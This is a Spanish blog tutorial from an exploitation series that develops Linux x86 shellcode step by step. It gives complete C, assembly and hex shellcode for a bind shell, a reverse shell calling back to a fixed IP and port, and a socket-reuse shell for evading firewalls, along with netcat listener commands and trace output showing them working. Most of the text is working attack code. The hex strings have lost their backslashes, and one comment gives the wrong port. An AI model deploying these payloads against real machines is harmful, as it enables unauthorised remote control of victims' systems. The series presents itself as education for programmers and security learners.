viernes, 16 de noviembre de 2007

El origen del mal - 0×05

Desarrollo de shellcodes (II)

S�mbolo de la sección

Para los que no sepan de qué va esto, el origen del mal es una serie de artículos sobre la explotación de programas vulnerables. En esta sección de alviento destinada a programadores y a cualquiera interesado en la seguridad informática. No se trata de descubrir ninguna técnica novedosa sino de explicar paso a paso cómo aprovecharse de los agujeros de seguridad que puede haber en los programas defectuosos.

Antes de leer esta entrega convendría que echaras un ojo a las anteriores, en especial a las de introducción. Todo el código puedes ponerlo en práctica en cualquier equipo que tenga el compilador gcc, el depurador gdb, y programas auxiliares como strace, objdump,... cosa que en un linux cualquiera las tendrás y si no es así podrás instalarlas ya que son herramientas esenciales.
Esto es lo que hemos visto hasta ahora:


En la pasada entrega conocimos el desarrollo de shellcodes y sobretodo los problemas que hay que tener en cuenta a la hora de programar esos trozos de código.
Como ejemplos se vio un "hola mundo" y algo más útil como la ejecución de un shell con la llamada execve. Este último shellcode nos sería útil en un ataque local pero sería mucho más interesante conseguir un shellcode que consiga abrir un shell de manera remota. ¿Es eso posible?
Por supuesto. Partimos de la base de que un programa vulnerable nos permite inyectarle instrucciones, así que si conseguimos pasarle instrucciones para que abra un canal de comunicaciones y además lo vincule a un shell conseguiremos acceso remoto a la víctima.

Crear un shell remoto
Vamos paso a paso, primero mostraremos el código en versión de alto nivel en lenguaje c, y luego lo pasaremos a ensamblador y lo adaptaremos para que funcione como un shellcode.
Si queremos un programa que se accesible remotamente tendremos que crear una conexión tcp/ip con sockets, y cuando entre una conexión asociaremos el flujo de datos con los descriptores de entrada/salida/error y ejecutaremos
un shell. Esto se hace con este conocido código c:

Listado: remoteshell.c

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int sock,canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;

sock=socket(2,1,0);

bind(sock,(struct sockaddr *) &dir_servidor,0x10);

listen(sock,1);

canal = accept(sock,0,0);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

Como se puede apreciar el código contiene lo mínimo, no se hace ningún control de errores ni nada. Para probarlo basta con ponerlo en marcha.

root@4vientos:~/b0f/dia5# gcc -o remoteshell remoteshell.c
root@4vientos:~/b0f/dia5# ./remoteshell

Se comprueba que realmente hay un puerto a la escucha:

root@4vientos:~/b0f/dia5# netstat -ln | more
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:14597 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:34175 0.0.0.0:* LISTEN
tcp6 0 0 :::55936 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::5432 :::*

Y ahora podemos intentar acceder remotamente o desde la propia máquina. Para ello podemos usar el programa telnet, pero para este tipo de cosas podemos echar mano de la navaja suiza de los hackers, el netcat. Este es un popular y sencillo programa con el que podemos conectarnos a puertos, poner puertos en escucha, transferir contenidos, etc... Para más información echa un ojo a la wikipedia y a los enlaces recomendados.
Nos conectamos al "servidor" con netcat:

root@4vientos:~/b0f/dia5# nc localhost 14597
ls
dia5.txt
oharra.txt
remoteshell
remoteshell.c
s-proc
testshellcode.c
pwd
/root/b0f/dia5

¡Ahí está! nos conectamos al puerto y por cada comando que mandamos nos llega la respuesta, es tosco pero totalmente funcional.
Ahora debemos pasar esto a un shellcode, teniendo en cuenta las limitaciones de los mismos.

Esta sería la versión en ensamblador:
Listado: remoteshellasm.asm


SECTION .text

global _start
_start:

xor eax,eax
xor ebx,ebx
cdq ; equivale a xor edx,edx

; eax = sock=socket(2,1,0)
; esi = eax
push eax
push byte 1
push byte 2
mov ecx,esp
inc bl
mov al,102
int 80h
mov esi,eax

; bind(sock,(sockaddr *)&serv_addr,0x10);
push edx
push long 0x133702AA

mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h

; listen(sock,1);
push edx
push esi
mov ecx,esp
mov bl,0x4
mov al,102
int 80h

; eax = canal = accept(sock,0,0);
; ebx = eax
push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
mov ebx,eax

; dup2(canal,0);
xor ecx,ecx
mov al,63
int 80h

; dup2(canal,1);
inc ecx
mov al,63
int 80h

; execve("/bin/sh",0,0);
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al, 0x0b
int 80h

Nota importante: en este caso se puede apreciar otra forma de pasar el parámetro /bin/sh sin tener que usar una posición de memoria de ensamblador como se vio en el shellcode anterior. Lo que hacemos es convertir /bin/sh a su equivalente en hexadecimal y lo metemos en la pila:

push long 0x68732f2f
push long 0x6e69622f

La compilamos:

root@4vientos:~/b0f/dia5# nasm -f elf remoteshellasm.asm
root@4vientos:~/b0f/dia5#

Y la linkamos:

root@4vientos:~/b0f/dia5# ld -N -o remoteshellasm remoteshellasm.o
root@4vientos:~/b0f/dia5#

Una forma de saber si un código hace las llamadas que debe hacer es trazar sus llamadas. Esto lo conseguimos con strace:

root@4vientos:~/b0f/dia5# strace ./remoteshellasm
execve("./remoteshellasm", ["./remoteshellasm"], [/* 25 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=0x2aa /* AF_??? */, sa_data="72321"}, 16) = 0
listen(3, 0) = 0
accept(3,

¡Ahí esta! vemos como se ejecuta la llamada socket, bind, listen y se queda a la espera de conexiones con accept.

Para pasar esto a shellcode, bastaría con hacer objdump y tomar los códigos hexadecimales:

root@4vientos:~/b0f/dia5# objdump -d remoteshellasm

remoteshellasm: formato del fichero elf32-i386

Desensamblado de la sección .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 31 db xor %ebx,%ebx
8048084: 99 cltd
8048085: 50 push %eax
8048086: 6a 01 push $0x1
8048088: 6a 02 push $0x2
804808a: 89 e1 mov %esp,%ecx
....(omitimos todo el listado)

Y lo pasamos a nuestro programita para probar shellcodes:
Listado: testshellcode.c


/**
* testshellcode.c
* programita para ejecutar los shellcodes
* primero sacamos los bytecodes con objdump
* ejemplo: objdump -d shellcode
* y luego los metemos aquí, compilamos :
* gcc -o testshellcode testshellcode.c
* y a probar!!
* by 64kbytes @ http://alviento.cuatrovientos.org
*/

char shellcode[] =
"x31xc0" // xor %eax,%eax
"x31xdb" // xor %ebx,%ebx
"x99" // cltd
"x50" // push %eax
"x6ax01" // push $0x1
"x6ax02" // push $0x2
"x89xe1" //mov %esp,%ecx
"xfexc3" //inc %bl
"xb0x66" //mov $0x66,%al
"xcdx80" //int $0x80
"x89xc6" //mov %eax,%esi
"x52" //push %edx
"x68xaax02x37x13" // push $0x133702aa
"x89xe1" // mov %esp,%ecx
"x6ax10" //push $0x10
"x51" //push %ecx
"x56" // push %esi
"x89xe1" // mov %esp,%ecx
"xfexc3" // inc %bl
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
"x52" // push %edx
"x56" // push %esi
"x89xe1" // mov %esp,%ecx
"xb3x04" // mov $0x4,%bl
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
"x52" // push %edx
"x52" // push %edx
"x56" // push %esi
"x89xe1" // mov %esp,%ecx
"xfexc3" // inc %bl
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
"x89xc3" // mov %eax,%ebx
"x31xc9" // xor %ecx,%ecx
"xb0x3f" // mov $0x3f,%al
"xcdx80" // int $0x80
"x41" // inc %ecx
"xb0x3f" // mov $0x3f,%al
"xcdx80" // int $0x80
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp,%ecx
"xb0x0b" // mov $0xb,%al
"xcdx80"; // int $0x80

int main()
{
// Definimos un puntero a una función
int (*mifuncion)();

// Le asignamos a la función el shellcode
mifuncion = (int (*)()) shellcode;

// Invocamos la funcio
(int)(*mifuncion)();
}

¡Ya está! tras compilar podremos comprobar que ya tenemos un shellcode funcional y sin problemas para ejecutarse.

root@4vientos:~/b0f/dia5# gcc -o testshellcode testshellcode.c
root@4vientos:~/b0f/dia5# ./testshellcode

Ok. Este tipo de shellcodes, que se puede hacer de otras maneras nos será útil para explotar vulnerabilidades y ganar control de una máquina de forma remota. Pero en ocasiones no seremos capaces de conectarnos al puerto abierto por el shellcode si existe un firewall en la máquina que bloquea las conexiones entrantes. No preocuparse! hay soluciones para todo.

El shell inverso
La idea en sencilla. Si no nos podemos conectar a la máquina, que sea la máquina quien se conecte a nosotros. Para esto podemos hacer un programita similar al anterior pero que en lugar de abrir un puerto trata de iniciar una conexión a un puerto externo. Luego asocia los canales a un shell. Este sería el aspecto del programa:
Listado: reverseshell.c


/**
* reverseshell.c
* Shell inverso. Se conecta a un socket externo
* y asocia a un shell local.
* Para generar una IP en hexadecimal
* perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192'
* El puerto tb es un número hexadecimal:
* perl -e 'printf "0x" . "%04x" . "n",14099'
* darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337
* Para compilar:
* gcc -o reverseshell reverseshell.c
* Para comprobar:
* nc -l -p 14099
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0xf901a8c0;
dir_servidor.sin_port=0x1337;

canal=socket(2,1,6);

connect(canal,(struct sockaddr *) &dir_servidor,0x10);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

En este caso, de cara a preparar un shellcode debemos darle todo mascado y no podremos permitirnos el lujo de usar funciones para convertir una dirección en formato texto al formato interno del sistema. Así que previamente convertimos los valores de puerto e ip a hexadecimal usando un pequeño script de perl como se observa en el comentario del código.

Para probar el código primero debemos ejecutar netcat poniendolo a la escucha en el mismo puerto al que va a conectarse el programita:

root@4vientos:~# nc -l -p 14099

Y luego compilamos y ejecutamos el programa:

root@4vientos:~/b0f/dia5# gcc -o reverseshell reverseshell.c
root@4vientos:~/b0f/dia5# ./reverseshell

Entonces gracias a netcat podremos ir pasando instrucciones, el programita las ejecutará en su shell y pasará el resultado a netcat:

root@4vientos:~# nc -l -p 14099
pwd
/root/b0f/dia5

A la hora de preparar el shellcode, como siempre hay que tener cuidado con el problema del byte nulo, es decir, hay que evitar que se generen dos 00 seguidos. Esto puede venir a la hora de crear la dirección ip. Si la dirección ip contiene algún 0 habrá que hacer alguna conversión, como por ejemplo pasar la ip en su valor binario inverso y aplicarle un not. Lo mismo con cualquier otro valor que se necesite. Este sería el código en ensamblador:
Listado: reverseshellasm.asm

; nasm -f elf reverseshellasm.asm && ld -N -o reverseshellasm reverseshellasm.o
global _start
_start:

xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx, edx
cdq

; eax = canal=socket(2,1,6)
; esi = eax
push byte 6
push byte 1
push byte 2
mov ecx,esp
inc bl
mov al,102
int 80h
mov esi,eax

; connect(canal,(struct sockaddr *) &dir_servidor,0x10);
;push edx
pop ebp
pop ebp
push long 0xf901a8c0 ; la dirección IPmov ecx,esp
mov ebp,0xecc8fffd ; pasamos un valor inverso
not ebp
push ebp ; el puerto, familia, etc..
push byte 0x10
push ecx
push esi ; esi = canal
mov ecx,esp
inc bl
inc bl ; bl = 3 llamada a socketcall num. 3: connect
mov al,102 ; llamada a socketcall
int 80h

; dup2(canal,0);
xor ecx,ecx
mov al,63
int 80h

; dup2(canal,1);
inc ecx
mov al,63
int 80h

; execve("/bin/sh",0,0);
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al, 0x0b
int 80h

Compilamos y linkamos:

root@4vientos:~/b0f/dia5# nasm -f elf reverseshellasm.asm
root@4vientos:~/b0f/dia5# ld -N -o reverseshellasm reverseshellasm.o
root@4vientos:~/b0f/dia5#

Y podemos comprobar sus efectos directamente o con strace.
En este caso el puerto al que va a conectarse es al 31337, así que ponemos a netcat a la escucha:

root@4vientos:~# netcat -l -v -p 14099
listening on [any] 14099 ...

Y ejecutamos el shellinverso para ver si funciona:

root@4vientos:~/b0f/dia5# strace ./reverseshellasm
execve("./reverseshellasm", ["./reverseshellasm"], [/* 25 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(14099), sin_addr=inet_addr("192.168.1.249")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
...(bla, bla) y termina en:
read(0,

Y en netcat vemos:

root@4vientos:~# nc -l -v -p 14099
listening on [any] 14099 ...
192.168.1.249: inverse host lookup failed: Host name lookup failure
connect to [192.168.1.249] from (UNKNOWN) [192.168.1.249] 43045

Probamos a mandar el comando uname

root@4vientos:~# nc -l -v -p 14099
listening on [any] 14099 ...
192.168.1.249: inverse host lookup failed: Host name lookup failure
connect to [192.168.1.249] from (UNKNOWN) [192.168.1.249] 43045
uname
Linux

¡Ahí está! la máquina devuelve el resultado: Linux

Tenemos el código ensamblador así que sacar el shellcode no será muy complejo si usamos objdump -d.

El resultado:
Listado: testshellcode.c con el nuevo código

/**
* testshellcode.c
* programita para ejecutar los shellcodes
* primero sacamos los bytecodes con objdump
* ejemplo: objdump -d shellcode
* y luego los metemos aquí, compilamos :
* gcc -o testshellcode testshellcode.c
* y a probar!!
* by 64kbytes @ http://alviento.cuatrovientos.org
*/

char shellcode[] =
"x31xc0" // xor %eax,%eax
"x31xdb" // xor %ebx,%ebx
"x31xc9" // xor %ecx,%ecx
"x31xd2" // xor %edx,%edx
"x99" // cltd
"x6ax06" // push $0x6
"x6ax01" // push $0x1
"x6ax02" // push $0x2
"x89xe1" // mov %esp,%ecx
"xfexc3" // inc %bl
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
"x89xc6" // mov %eax,%esi
"x5d" // pop %ebp
"x5d" // pop %ebp
"x68xc0xa8x01xf9" // push $0xf901a8c0
"xbdxfdxffxc8xec" // mov $0xecc8fffd,%ebp
"xf7xd5" // not %ebp
"x55" // push %ebp
"x6ax10" // push $0x10
"x51" // push %ecx
"x56" // push %esi
"x89xe1" // mov %esp,%ecx
"xfexc3" // inc %bl
"xfexc3" // inc %bl
"xb0x66" // mov $0x66,%al
"xcdx80" // int $0x80
"x31xc9" // xor %ecx,%ecx
"xb0x3f" // mov $0x3f,%al
"xcdx80" // int $0x80
"x41" // inc %ecx
"xb0x3f" // mov $0x3f,%al
"xcdx80" // int $0x80
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp,%ecx
"xb0x0b" // mov $0xb,%al
"xcdx80"; // int $0x80

int main()
{
// Definimos un puntero a una función
int (*mifuncion)();

// Le asignamos a la función el shellcode
mifuncion = (int (*)()) shellcode;

// Invocamos la funcio
(int)(*mifuncion)();
}


Evadiendo definitivamente un firewall

Si en la victima hay un firewall y está debidamente configurado este denegará tanto las conexiones entrantes a puertos no admitidos como las conexiones salientes. ¿Entonces? Bien, cuando se explota una vulnerabilidad de forma remota normalmente se hace contra un programa que escucha en un puerto tcp; así que lo más lógico sería utilizar ese mismo puerto para controlar la máquina.

Suena complejo pero lo curioso es que conseguir esto precisa de una código mucho más simple, el único problema es que hay que adivinar el número de descriptor que ha generado el programa victima al crear el socket. Es cuestión de ir probando números
Aquí dejamos el código ensamblador, en el que se supone que el número es 4.
Listado: reuseshellasm.asm


global _start
_start:
; iniciamos registros
xor eax,eax
xor ebx,ebx
xor ecx,ecx

mov bl,4
mov al,63

; dup2(4,0);
int 80h

; dup2(4,1);
inc ecx
int 80h

; execve("/bin/sh",0,0);
xor edx,edx
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al, 0x0b
int 80h

En la próxima entrega entraremos a investigar como meter el shellcode en el programa vulnerable.

No hay comentarios:

Publicar un comentario